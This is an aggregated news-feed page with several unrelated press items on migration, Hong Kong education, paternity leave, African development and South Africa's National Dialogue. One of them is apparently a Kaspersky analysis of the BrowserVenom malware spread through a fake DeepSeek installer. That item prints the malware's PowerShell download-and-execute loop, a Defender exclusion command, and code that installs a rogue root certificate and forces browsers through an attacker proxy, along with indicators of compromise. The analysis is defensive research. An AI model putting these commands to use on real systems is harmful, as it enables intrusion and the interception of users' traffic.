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Category: housing

  • MIL-OSI United Nations: A Historic May 20: Returning Migrants March for Unity, Dignity, and Hope

    Source: International Organization for Migration (IOM)

    Yaoundé, May 20, 2025 – The International Organization for Migration (IOM), alongside the Ministry of Youth and Civic Education (MINJEC), supported the participation of 81 voluntary returnees in the parade for the 53rd edition of Cameroon’s National Unity Day. This is a first in the history of this national event. The initiative is part of the “Citizen and Patriotic Migration” program, supported by IOM, in response to the call made by the President of the Republic, H.E. Paul Biya, in response to the rise in irregular youth migration.

    The group, composed of 69 men and 12 women migrants who chose to return voluntarily, they were support by IOM to return home, and are currently being guided toward sustainable reintegration. By participating in this national parade, they sent a strong message in favour of resilience, civic-mindedness, and safe and orderly migration. Carrying posters with messages such as “No to Migration at All Costs” and “Circular Migration: A Pillar for Development,” these young Cameroonians expressed their commitment to voluntary return and successful reintegration.

    “It was more than a parade. It was a way to find myself, to show that I can still accomplish great things,” said Bernadette, one of the twelve women who participated in the parade.

    Participation in the national parade helped promote these voluntary return journeys, by facilitating social integration through dialogue with other groups and fostering a reconnection with civic values.

    According to Mr Abdel Rahmane DIOP, IOM Chief of Mission in Cameroon: “Seeing these migrants marching at the National Unity Day celebrations sends a strong signal: migration concerns us all. Their presence demonstrates the need to strengthen collective action, led by the highest authorities, so that every ministry and every stakeholder contributes to coordinate inclusive migration governance that inspires pride for the migrants themselves”. Staying, building, and succeeding here is possible.”

    This initiative showcases the potential of better-managed migration and highlights the role that young people and returning migrants can play in their communities. Since 2020, more than 10,000 Cameroonians have benefited from assisted voluntary return and reintegration support through programs implemented by IOM in Cameroon. This figure, equivalents to nearly seven departures per day, underlining the urgent need to strengthen preventive actions: information, support, and the creation of concrete alternatives to irregular migration.

    IOM reaffirms its commitment to supporting the efforts of the Cameroonian authorities, and its partners to promote safe, orderly, and regular migration. Sustainable reintegration, social cohesion, and the development of local opportunities remain at the heart of its efforts, to transform migration pathways into vectors of individual and collective development.

    ***

    For more information, please contact :

    In Dakar: Joelle FURRER, IOM Regional Office for West and Central Africa, jfurrer@iom.int

    In Cameroon: Elodie NDEME BODOLO, IOM Office in Yaoundé, endeme@iom.int

    MIL OSI United Nations News –

    June 11, 2025
  • MIL-OSI Asia-Pac: LCQ2: Developing Hong Kong into international education hub

    Source: Hong Kong Government special administrative region

    LCQ2: Developing Hong Kong into international education hub 
    Question:
     
         The Government is now establishing the “Study in Hong Kong” brand to develop Hong Kong into an international hub for education. There are views pointing out that with the robust development of local basic education and the extensive recognition of the Hong Kong Diploma of Secondary Education Examination qualification, primary and secondary schools are well-positioned to admit non-local students amid the continuing decline in the number of students. At present, however, entry for non-local students to study in Hong Kong’s public or aided primary and secondary schools (other than English Schools Foundation (ESF) schools and Direct Subsidy Scheme (DSS) schools) is not permitted. In this connection, will the Government inform this Council:
     
    (1) of the respective numbers of minor students coming to Hong Kong on student visas to study in private primary and secondary schools, ESF schools, and DSS primary and secondary schools over the past three school years, as well as the distribution of their years of study;
     
    (2) whether it will consider drawing on the practices of other countries to relax the eligibility criteria for student visas, so as to allow non-‍local minor students entry into Hong Kong to study in public or aided primary and secondary schools, as well as introducing student guardian visas for their parents to stay in Hong Kong and engage in time-limited employment; and
     
    (3) whether it will consider encouraging private enterprises or educational institutions to establish additional student hostels or overseas students’ apartments to provide accommodation and ancillary services suitable for students of different ages, as well as establishing corresponding licensing and registration regimes?
     
    Reply:
     
    President,
     
         The Chief Executive announced in the 2024 Policy Address that the Government would promote the development of an international hub for post-secondary education by establishing the “Study in Hong Kong” brand as well as pooling together and nurturing excellent global talents. The policy is built on the foundation that Hong Kong’s universities enjoy an international reputation. Among our eight public universities, five are ranked among the world’s top 100 and six within Asia’s top 50, and four are among the top ten on the list of the most international universities in the world. The internationalisation and diversity of our post-secondary education attract outstanding talents from all over the world to Hong Kong for further studies and research. Meanwhile, the National 14th Five-Year Plan supports Hong Kong as a development centre in eight key areas (“eight centres”), the Education Bureau (EDB) has been proactively encouraging post-secondary education institutions to develop more related applied degree programmes to complement with the talent backing for the “eight centres”. At the same time, we are also committed to promoting the “Study in Hong Kong” brand, developing Hong Kong into an international education hub, attracting outstanding talent from all over the world in all aspects to enrich the local talent pool.
     
         Regarding our basic education, under the “one country, two systems”, Hong Kong has the distinctive advantages of enjoying strong support of the motherland and being closely connected to the world. We have been providing 12-year free and quality primary and secondary education to all local children through public sector schools, and parents of local children are offered with diversified choices. Meanwhile, non-local children can study in non-public sector schools, including international schools, private schools and Direct Subsidy Scheme schools, on a self-financing basis. These arrangements aim to ensure a reasonable balance between the supply and demand of school places in basic education in the relevant arrangements, while achieving prudent use of public funds. In fact, Hong Kong’s diversified and quality school education system has long been ranked among the top in international education comparative studies.
     
         Having consulted the Security Bureau and the Immigration Department (ImmD), our reply to the question raised by the Hon Chu Kwok-keung is as follows:
     
    (1) In the past three years (2022 to 2024), a total of 1 686 applications for student visa/entry permit were approved by the ImmD for non-local children aged 17 or below coming to Hong Kong for education (see Annex). The ImmD and the EDB do not keep statistics on the types of schools admitting these students.
     
    (2) The Government is committed to developing a vibrant international school sector to meet the demand for education from non-local families living in Hong Kong as well as children of families coming to Hong Kong for work or investment. International schools operate on a self-financing and market-driven basis and belong to the private school sector. They have been enjoying the flexibility, including the medium of instruction, curriculum arrangements, public examinations, etc, and they are not subsidised by public funds for daily operation, providing diversified choices for local parents, while offering school places to non-local children who pay school fees at their own expense under the “user pays” principle. As seen from the figures provided by the ImmD over the past three years, there have been hundreds non-local children aged from five years eight months to 17 years being approved with study visa/entry permit to come to Hong Kong for education annually. We will closely keep in view the demand for school places from non-local children, conduct dynamic assessments of the demand and supply of school places, create conditions in a timely manner, and launch policy measures to adjust the supply of school places including supporting the development of non-profit-making private schools offering non-local curriculum through the school allocation exercise. Meanwhile, we will proactively explore the feasibility of facilitating non-local students to come to Hong Kong to study in non-public sector schools on a self-financing basis.
     
         As the goal of public sector schools is to provide 12-year quality and free primary and secondary education to eligible children to meet the educational needs of local children, we adopt mother-tongue teaching. The medium of instruction, curriculum arrangements, public examination (i.e. Hong Kong Diploma of Secondary Education Examination), etc in public sector schools are based on the learning needs of local children. 
     
    Therefore, for public sector schools, the Government has always been devoting substantial resources to public sector schools in providing quality education to students over the years, meeting the different learning needs of students in an all-round way, including catering for the learning diversity for students with special educational needs and non-Chinese speaking students with the provision of additional learning support and complementary measures. Public sector schools are publicly funded at full costs, offer local curriculum and serve local children. It ensures the prudent use of public funds and fair allocation of educational resources, and benefit local children.
     
         At present, the parallel development of the public sector schools and non-public sector schools not only caters for the learning needs of the children of different stakeholders, but also achieves the purpose of prudent use of public funds and an appropriate allocation of resources. Therefore, the policy meets Hong Kong’s actual circumstances.

    (3) In general, the boarding services provided by different types of schools are mainly aimed at enriching local students’ learning experiences, and cater for the residential needs of a small number of non-local students. At present, there are a total of 16 publicly-funded and private ordinary primary and secondary schools across the territory, which provide boarding services offering about 3 500 boarding places altogether. If individual schools have needs, and the premises and space allow, they can submit applications to the EDB to provide boarding facilities on a self-financing basis. We will consider the applications based on the actual needs. The facilities and management of boarding schools should comply with the relevant stipulations such as the Education Regulations (Cap. 279A). The accommodation arrangements outside schools should also comply with all relevant laws and requirements. The EDB will closely monitor the residential needs of non-local students, including the boarding facilities provided by different types of schools, and maintain communication with the education sector and relevant government departments to review the related arrangements in a timely manner.
     
         President, education is the key to a hundred-year plan. While being open to different views, the EDB will carefully consider each and every policy initiative to maintain the strengths of Hong Kong education, orderly promote the development of an international hub for post-secondary education, and strengthen the high quality development of education in Hong Kong.Issued at HKT 17:53

    NNNN

    CategoriesMIL-OSI

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Economics: Toxic trend: Another malware threat targets DeepSeek

    Source: Securelist – Kaspersky

    Headline: Toxic trend: Another malware threat targets DeepSeek

    Introduction

    DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously reported attacks with malware being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.

    But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install BrowserVenom, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.

    Phishing lure

    The infection was launched from a phishing site, located at https[:]//deepseek-platform[.]com. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.

    Malicious website mimicking DeepSeek

    Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the proxy1.php URL path with a “Download now” button. Clicking that results in downloading the malicious installer named AI_Launcher_1.21.exe from the following URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe.

    We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.

    Malicious installer

    The malicious installer AI_Launcher_1.21.exe is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.

    The second fake CAPTCHA

    This is another fake CAPTCHA that is loaded from https[:]//casoredkff[.]pro/captcha. After the checkbox is ticked, the URL is appended with /success, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.

    Two options to install abused LLM frameworks

    Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: MLInstaller.Runner.Run(). This function triggers the infectious part of the implant.

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    private async void lmBtn_Click(object sender, EventArgs e)

    {

    try

    {

    MainFrm.c__DisplayClass5_0 CS$8__locals1 = new MainFrm.c__DisplayClass5_0();

    this.lmBtn.Text = “Downloading..”;

    this.lmBtn.Enabled = false;

    Action action;

    if ((action = MainFrm.O.0>__Run) == null)

    {

    action = (MainFrm.O.0>__Run = new Action(Runner.Run));  #

    }

    Task.Run(action);

    CS$8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), “LM-Studio-0.3.9-6-x64.exe”);

    [...]

    When the MLInstaller.Runner.Run() function is executed in a separate thread on the machine, the infection develops in the following three steps:

    1. First, the malicious function tries to exclude the user’s folder from Windows Defender’s protection by decrypting a buffer using the AES encryption algorithm.

      The AES encryption information is hardcoded in the implant:

      Type AES-256-CBC
      Key 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20
      IV 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10

      The decrypted buffer contains a PowerShell command that performs the exclusion once executed by the malicious function.

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      powershell.exe –inputformat none –outputformat none –NonInteractive –ExecutionPolicy Bypass –Command Add–MpPreference –ExclusionPath $USERPROFILE

      It should be noted that this command needs administrator privileges and will fail in case the user lacks them.

    2. After that, another PowerShell command runs, downloading an executable from a malicious domain whose name is derived with a simple domain generation algorithm (DGA). The downloaded executable is saved as %USERPROFILE%Music1.exe under the user’s profile and then executed.

      };
      if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match”^v2″) {
      [IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);
      Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow
      } else {
      ([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
      }

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      $ap = “/api/getFile?fn=lai.exe”;

      $b = $null;

      foreach($i in 0..1000000) {

          $s = if ($i – gt 0)  {

              $i

          } else {

              “”

          };

          $d = “https://app-updater$s.app$ap”;

          $b = (New – Object Net.WebClient).DownloadData($d);

          if ($b)  {

              break

          }

      };

      if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion()  – match“^v2”)  {

          [IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);

          Start – Process “$env:USERPROFILEMusic1.exe”  – NoNewWindow

      } else {

          ([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)

      }

      At the moment of our research, there was only one domain in existence: app-updater1[.]app. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.

    3. Then the MLInstaller.Runner.Run() function locates a hardcoded stage two payload in the class and variable ConfigFiles.load of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.

    Loaded implant: BrowserVenom

    We dubbed the next-stage implant BrowserVenom because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.

    First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:

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    [...]

    X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert);

    if (RightsChecker.IsProcessRunningAsAdministrator())

    {

    StoreLocation storeLocation = StoreLocation.LocalMachine;

    X509Store x509Store = new X509Store(StoreName.Root, storeLocation);

    x509Store.Open(OpenFlags.ReadWrite);

    x509Store.Add(x509Certificate);

    [...]

    Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the proxy-server argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:

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    [...]

    new ChromeModifier(new string[]

    {

    “chrome.exe”, “msedge.exe”, “opera.exe”, “brave.exe”, “vivaldi.exe”, “browser.exe”, “torch.exe”, “dragon.exe”, “iron.exe”, “epic.exe”,

    “blisk.exe”, “colibri.exe”, “centbrowser.exe”, “maxthon.exe”, “coccoc.exe”, “slimjet.exe”, “urbrowser.exe”, “kiwi.exe”

    }, string.Concat(new string[]

    {

    “–proxy-server=””,

    ProfileSettings.Host,

    “:”,

    ProfileSettings.Port,

    “””

    })).ProcessShortcuts();

    GeckoModifier.Modify();

    [...]

    The settings currently utilized by the malware are as follows:

    public static readonly string Host = “141.105.130[.]106”;

    public static readonly string Port = “37121”;

    public static readonly string ID = “LauncherLM”;

    public static string HWID = ChromeModifier.RandomString(5);

    The variables Host and Port are the ones used as the proxy settings, and the ID and HWID are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.

    Conclusion

    As we have been reporting, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.

    At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.

    To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.

    Kaspersky products detect this threat as HEUR:Trojan.Win32.Generic and Trojan.Win32.SelfDel.iwcv.

    Indicators of Compromise

    Hashes

    d435a9a303a27c98d4e7afa157ab47de  AI_Launcher_1.21.exe
    dc08e0a005d64cc9e5b2fdd201f97fd6

    Domains and IPs

    MIL OSI Economics –

    June 11, 2025
  • MIL-OSI Analysis: British dads are going ‘on strike’ for better parental leave

    Source: The Conversation – UK – By Katherine Twamley, Professor of Sociology, UCL

    Prostock-studio/Shutterstock

    UK campaign group The Dad Shift is staging a “dad strike” on June 11, to protest the poor paternity leave available to fathers in the UK. Fathers and other parents are being asked to “picket or pickup” – to leave work and join protests at government buildings, or use this time to do the school or nursery run.

    My research suggests that a poor offer of leave for fathers means they do not believe either the UK government or their employers view their participation in childcare as important.

    UK fathers can take up to two weeks’ leave at the time of the birth of their child, but it is paid well below the living wage. This leave is also only eligible to fathers who have been continuously employed by their employer for at least 26 weeks up to the 15th week before the baby is due.

    Paternity leave was introduced in 2003, when maternity leave was extended from 18 to 26 and later 52 weeks. This has resulted in a stark inequality between mothers’ and fathers’ opportunity to take time with their new baby. The UK paternity leave offer also compares poorly against leave offered for fathers in other countries, ranking 40th out of 43 OECD countries

    And despite the small amount of leave offered to fathers in the UK, only 59% actually take it. This is mostly due to the poor pay, but fathers also report facing pressure from work that inhibits their use of the leave options available to them.

    Sharing leave

    Shared parental leave, introduced in 2015 throughout the UK, allows parents to share up to 50 weeks between them. But it has failed to alter parental leave patterns: only 5% of fathers take any shared parental leave.

    The low remuneration offered – currently £187.18 a week, if taken within the first nine months, or no pay at all thereafter – again has affected how many men make use of this scheme. They may also feel they are “stealing” the mother’s leave, because a father taking shared parental leave means the mother has to go back to work sooner.




    Read more:
    Shared parental leave has failed because it doesn’t make financial or emotional sense


    But it’s really important that fathers take time with their babies. When fathers take leave, there are multiple documented benefits for the family and beyond.

    Time with an involved father benefits children.
    Anna Kraynova/Shutterstock

    Dads’ time at home with their children can help establish a bond between father and child. Research has found that a father who spends time with his young baby, and does activities with them, is more likely to be an engaged parent as his child gets older. There are also potential improved developmental outcomes for children. These benefits are increased the more time fathers are able to spend with their children.

    Wider benefits

    Mothers also benefit from having their partner off work and with them, particularly during the first weeks and months after giving birth.

    I collected diary entries and held interviews with new parents about their parental leave. The difference that fathers taking extended paternity leave at the time of birth made to mothers was palpable. All these mothers reported a smoother and happier transition to parenthood.

    On the other hand, mothers whose partners returned to work at two weeks or earlier reported significant challenges. Some even said they felt “traumatised” when the paternity leave ended. “It’s harrowing when the father goes back to work,” one mother told me. “I was, like, hysterical from lack of sleep and not being able to breastfeed.”

    As more and more births are via caesarean section – an estimated 31% in the UK – it is even more important that mothers have a partner present at this time. Mothers who have a c-section have limited mobility and will generally require greater levels of support for longer than mothers who have a vaginal birth.

    Beyond the family, fathers’ participation in leave is also good for gender equality. Fathers who take leave are more likely to share parenting tasks later and demonstrate more understanding around what parenthood involves.

    These benefits are magnified when fathers take leave alone – whether through shared parental leave taken alone in the UK or, as in some European countries, an extended “daddy’s quota” of leave taken after the mother returns to work.

    This can also have knock-on benefits for gender equality in paid work. The gender pay gap in the UK is 7% – women working full-time earn 7% less per hour than men. As documented by Nobel prize winner Claudia Goldin, the biggest factor in the gender pay gap is the transition to parenthood. A greater uptake of leave by fathers can shift the established roles of mother-as-carer and father-as-breadwinner.




    Read more:
    Mothers are more likely to work worse jobs – while fathers thrive in careers


    Besides all these documented benefits of paternity leave, perhaps one of the most potent is that fathers too are part of a family. To deny them independent and well-supported access to parental leave, at least in a comparable way to mothers, is simply unjust. They shouldn’t miss out on this valuable time with their children – and nor should children miss out on time with their fathers.

    Katherine Twamley’s research on parental leave was funded by the British Academy and the Leverhulme Trust.

    – ref. British dads are going ‘on strike’ for better parental leave – https://theconversation.com/british-dads-are-going-on-strike-for-better-parental-leave-257379

    MIL OSI Analysis –

    June 11, 2025
  • MIL-OSI Africa: African Development Bank cuts sod for construction of permanent Country Office, cementing over five-decades of partnership with Zambia

    Source: Africa Press Organisation – English (2) – Report:

    • Permanent office strengthens Bank’s partnership with Zambia.
    • African Development Bank has financed and facilitated major projects at country and continent level to support regional integration – Finance Minister Musokotwane 

    The African Development Bank Group (www.AfDB.org) commenced construction of its permanent country office in Lusaka on Friday, marking a transformative milestone in the institution’s 54-year partnership with Zambia.

    Since establishing its temporary country office in 2007 with just four staff members, the African Development Bank’s presence in Zambia has grown to 20 permanent staff. The Bank’s cumulative investment in Zambia now stands at $2.7 billion across multiple sectors, with a current active portfolio worth nearly $1 billion.

    The groundbreaking event was attended by Finance and National Planning Minister Dr. Situmbeko Musokotwane; African Development Bank’s Vice President for Regional Development, Integration and Business Delivery, Nnenna Nwabufo; the Bank’s Director of Real Estate Management, Procurement and General Services, Gail Meakin, as well as other senior government officials, members of the diplomatic community, other development partners, and private sector chief executive officers.

    The new office design incorporates cutting-edge sustainability features and wellness-focused design. It will house expanded operations while contributing to Zambia’s economic growth through job creation and business stimulation during both construction and operation. The building is expected to be completed by 2027. It will be a smart building with conferencing and staff wellness facilities, with low energy consumption, a wastewater recycling system, and large green spaces.

    Dr. Musokotwane emphasized the significance of a permanent office. “This occasion is not just ceremonial – it’s a vote of confidence in our country, our government, and our people. It recognizes Zambia’s commitment to forge a better future for Africa.”

    The Minister thanked the African Development Bank for providing much-needed financial support during Zambia’s development journey and conveyed the President of Zambia’s support for the Bank’s decision to establish a permanent office building and continued development work in the country.

    “The African Development Bank’s support has produced many positive results in sectors such as transport, agriculture, water and sanitation, and energy.  This shows the Bank’s commitment to deliver on its vision for the African continent,” the Minister said. “AfDB’s support to Zambia has been instrumental in supporting the country’s development goals espoused in the national development plans, which emphasize, among others, the need to build resilient infrastructure, promote inclusive and sustainable industrialization, and foster innovation in all the sectors of the economy.”

    Musokotwane listed some of the Bank’s transformative work in Zambia, singling out the Kazungula Bridge Project (https://apo-opa.co/4jORboP), for special commendation.

     “We also wish to take this opportunity to commend the Bank for the support rendered to Africa. Through the Bank, major projects have been implemented both at country and continent level to support regional integration in Africa. Key among the projects implemented is the Kazungula bridge project, which is a major infrastructure initiative that involves constructing a road and rail bridge connecting Zambia and Botswana.”

    Other notable projects in Zambia include the Integrated Small Towns Water and Sanitation project, the Lusaka Sanitation Programme, Skills Development and Entrepreneurship Project, and the Multi-Purpose Small Dams Project.

    Musokotwane urged the Bank to consider expanded support for regional drought recovery efforts, emphasizing the need for building economic resilience across the region. The Southern Africa region is still recovering from the devastating droughts of 2023-2024.

    Nwabufo thanked the Government of Zambia for providing the prime land within Lusaka for the construction of the Bank’s country office.

    “This new office demonstrates our continued commitment to strengthening our partnership with Zambia. We are here to stay – after all, the African Development Bank is your Bank,” said Bank Vice President Nwabufo.

    She reaffirmed the Bank’s commitment, announcing a $250 million commitment to the transformative Lobito Corridor Development Project (http://apo-opa.co/4kY4CU7). The Lobito Corridor is a major economic route connecting the port of Lobito in Angola to the Katanga province in the Democratic Republic of Congo and the Copperbelt in Zambia. It encompasses the construction of the Zambia-Angola railway, the rehabilitation of the DRC segment of the railway with the establishment of a public-private partnership, and the upgrading and operationalisation of the Angolan railway.

    The African Development Bank’s investments in Zambia continue to deliver impactful results:

    • The 923-meter-long Kazungula Bridge (https://apo-opa.co/44an9XL) project – supported by the African Development Bank Group with a US$ 81.6 million investment – has revolutionized cross-border trade, reducing transit times from 2.5 days to just half a day.
    • The Chinsali-Nakonde road rehabilitation and Nacala Road Corridor projects have similarly enhanced regional connectivity.
    • National water access has increased from 69% to 72% between 2015-2022, while sanitation coverage rose from 50% to 58%, providing 1.9 million additional people with improved water access.
    • Through the Bank’s agriculture sector, over 1.5 million households have seen their average annual incomes surge from US$320 in 2017 to US$1,300 in 2022. Agricultural productivity has soared, with maize production increasing from 2.9 million tonnes to 3.9 million tonnes and aquaculture output expanding from 20,000 tonnes to 76,000 Tonnes. The Bank’s interventions in the sector have generated approximately 500,000 jobs.
    • Following the Bank’s intervention in the social sector, including the $30 million Skills Development and Entrepreneurship Project, SME productivity and competitiveness have improved, leading to increased job creation. Eight industrial yards have been constructed in Chipata, Kasama, Mongu, Ndola, Solwezi, Lusaka, Mansa, and Kitwe, with the capacity to accommodate 172 SMEs across various light manufacturing sub-sectors.

    The African Development Bank’s 2024-2029 Country Strategy Paper for Zambia focuses on two key priorities: enhancing private sector development through infrastructure investments and promoting agricultural value chains to support youth and women’s employment. This will guide the Banks’ interventions in Zambia for the stated period.

    African Development Bank Country Manager for Zambia, Olaniyi Durowoju, noted that “the office would serve as a modern and efficient workspace, and a beacon of innovation and a vibrant hub for partnerships, and collaboration with the Bank’s stakeholders, enabling us better to serve our clients and the people of Zambia”.

    – on behalf of African Development Bank Group (AfDB).

    Additional Photos: https://apo-opa.co/4mYbuCR

    Media contact:
    Emeka Anuforo,
    Communication and External Relations Department,
    media@afdb.org

    About the African Development Bank Group:
    The African Development Bank Group is Africa’s premier development finance institution. It comprises three distinct entities: the African Development Bank (AfDB), the African Development Fund (ADF) and the Nigeria Trust Fund (NTF). On the ground in 41 African countries with an external office in Japan, the Bank contributes to the economic development and the social progress of its 54 regional member states. For more information: www.AfDB.org

    Media files

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    MIL OSI Africa –

    June 11, 2025
  • MIL-OSI Africa: National Convention to set agenda for the National Dialogue

    Source: South Africa News Agency

    President Cyril Ramaphosa has called for a National Convention on Friday, the 15th of August 2025, which will represent the diversity of the South African nation and set the agenda for the National Dialogue.

    The National Dialogue is an initiative that has been in discussion by a number of leaders in the country and many other people for some time now. 

    “This National Convention will represent the diversity of the South African nation. The first National Convention will set the agenda for the National Dialogue. 

    “It will be a representative gathering, bringing together government, political parties, civil society, business, labour, traditional leaders, religious leaders, cultural workers, sports organisations, women, youth and community voices, among others,” the President said on Tuesday.

    The initiative has been gathering support and enthusiasm since it was proposed last year and has been endorsed by a wide range of formations across society. 

    Over the last few months, government has been engaged in discussions with various entities on the purpose and the form of the dialogue. 

    WATCH | Announcement of the National Dialogue
     

    [embedded content]

    “In the wake of these consultations, there is broad agreement that given the challenges our country is facing at the moment, we should convene the National Dialogue. The idea of holding a dialogue is not a new concept in our country. In many ways having dialogues is part of our DNA as a nation. 

    “At every important moment in the history of our country, we have come together as a nation to confront our challenges and forge a path into the future in dialogue with one another. Through dialogue we were able to deal with the challenges that the apartheid system caused in our country and achieved peace and overcame violence. We established a democracy and ended apartheid,” the President said. 

    Following the negotiations process, he explained that dialogue was used to start building a united nation where once there had only been conflict and division. 

    He said the country achieved all this because everyone came together in dialogue to discuss difficulties, concerns, hopes and inspiration as a people. The country has worked together for more than 30 years to realise the promise of a democratic Constitution. 

    Challenges 

    Additionally, progress has been made in expanding freedom, deepening democracy, and improving the lives of millions, while also recognising the persistent challenges that remain. Poverty, unemployment and inequality are “deep wounds” that prevent the nation and country from reaching its full potential.

    “Millions of people are under-employed and unemployed. Many of those who work earn wages that cannot sustain them or their families. Crime, gender-based violence and corruption are prevalent across our society. 

    “We are therefore called upon at this moment to direct all our efforts to build a thriving, inclusive economy that creates jobs and opportunities. We are called upon to build safer communities and to create a better future for our children. 

    “We are also called upon to give all sectors of our society – men and women, young and old, persons with disabilities, LGBTQI [lesbian, gay, bisexual, transgender, queer and intersex] community, and urban and rural people – a voice to determine how we address the problems of today and build the South Africa we want for future generations. That is why we have agreed to convene an inclusive National Dialogue,” he said. 

    Shared vision

    The dialogue will be a people-led, society-wide process to reflect on the state of the country in order to reimagine the future. 

    “Through the National Dialogue, we seek a shared vision of what it means to be a South African and develop a new national ethos and common value system. 

    “It is an opportunity to forge a new social compact for the development of our country, a compact that will unite all South Africans, with clear responsibilities for different stakeholders, government, business, labour, civil society, men and women, communities and citizens,” the President said. 

    The dialogue is expected to accelerate progress towards Vision 2030 and help lay the groundwork for the next phase of the National Development Plan. 

    He emphasised that the dialogue is not a single event, but rather a phased, participatory process beginning with local consultations and sector-specific discussions and culminating in provincial and national engagements.

    Through various political, social and other formations, in workplaces, places of worship, communities, villages and sites of learning, South Africans will in the months following the National Convention be encouraged to be in dialogue to define the nation’s path into the future. 

    “The views, concerns and proposals that will emerge from this conversation will be brought together at a second National Convention, that is planned to be held in the beginning of next year.

    “This second National Convention will reinforce our shared values and adopt a common vision and programme of action for our country into the future,” he said. 

    The President said he expects that the National Convention will finalise a compact that outlines the roles and responsibilities of all South Africans. 

    Eminent Persons Group

    To guide and champion the National Dialogue, the President has appointed an Eminent Persons Group. 

    He said these are leading figures in society, reflecting the country’s diversity with a proven commitment to the advancement of social cohesion and nation-building. 

    The members of the group are:
    • Dr Brigalia Bam, former Independent Electoral Commission Chairperson, 
    • Mr Robbie Brozin, entrepreneur and business person, 
    • Judge Edwin Cameron, former Constitutional Court judge, 
    • Mr Manne Dipico, former Northern Cape Premier, 
    • Dr Desiree Ellis, Banyana Banyana coach and football legend, 
    • Ms Ela Gandhi, peace activist and stalwart, 
    • Prof Nomboniso Gasa, researcher and rural activist, 
    • Mr Bobby Godsell, business leader, 
    • Dr John Kani, award-winning actor, 
    • Mr Siya Kolisi, Springbok captain and world champion, 
    • Ms Mia le Roux, Miss South Africa 2024, 
    • His Grace Bishop Barnabas Lekganyane, leader of the Zion Christian Church, 
    • His Grace Bishop Engenas Lekganyane, leader of the St Engenas Zion Christian Church, 
    • The Most Reverend Thabo Makgoba, Anglican Archbishop of Cape Town, 
    • Prof Tinyiko Maluleke, Chairperson of the National Planning Commission, 
    • Dr Barbara Masekela, poet, educator and stalwart, 
    • Ms Lindiwe Mazibuko, former Member of Parliament, 
    • Mr Roelf Meyer, former Minister and constitutional negotiator, 
    • Ms Gcina Mhlope, storyteller, writer and actor, 
    • Ms Nompendulo Mkhatshwa, student activist and former Member of Parliament, 
    • Ms Kgothatso Montjane, Grand Slam tennis champion, 
    • Prof Harry Ranwedzi Nengwekhulu, former activist and educationist, 
    • Mr Bheki Ntshalintshali, unionist and former COSATU General Secretary, 
    • Hosi Phylia Nwamitwa, traditional leader, 
    • Kgosi Thabo Seatlholo, chairperson of the National House of Traditional and Khoi-San Leaders, 
    • Dr Gloria Serobe, business leader, 
    • Dr Imtiaz Sooliman, founder of the Gift of the Givers, 
    • Prof Derrick Swartz, academic, 
    • Ms Lorato Trok, author and early literacy expert, 
    • Mr Sibusiso Vilane, mountaineer and adventurer, 
    • Mr Siyabulela Xuza, award-winning rocket scientist. 

    The President added that UBaba uShembe uNyazi LweZulu has also been invited to join the Eminent Persons Group, but, as he is travelling, has not yet been able to confirm his availability. 

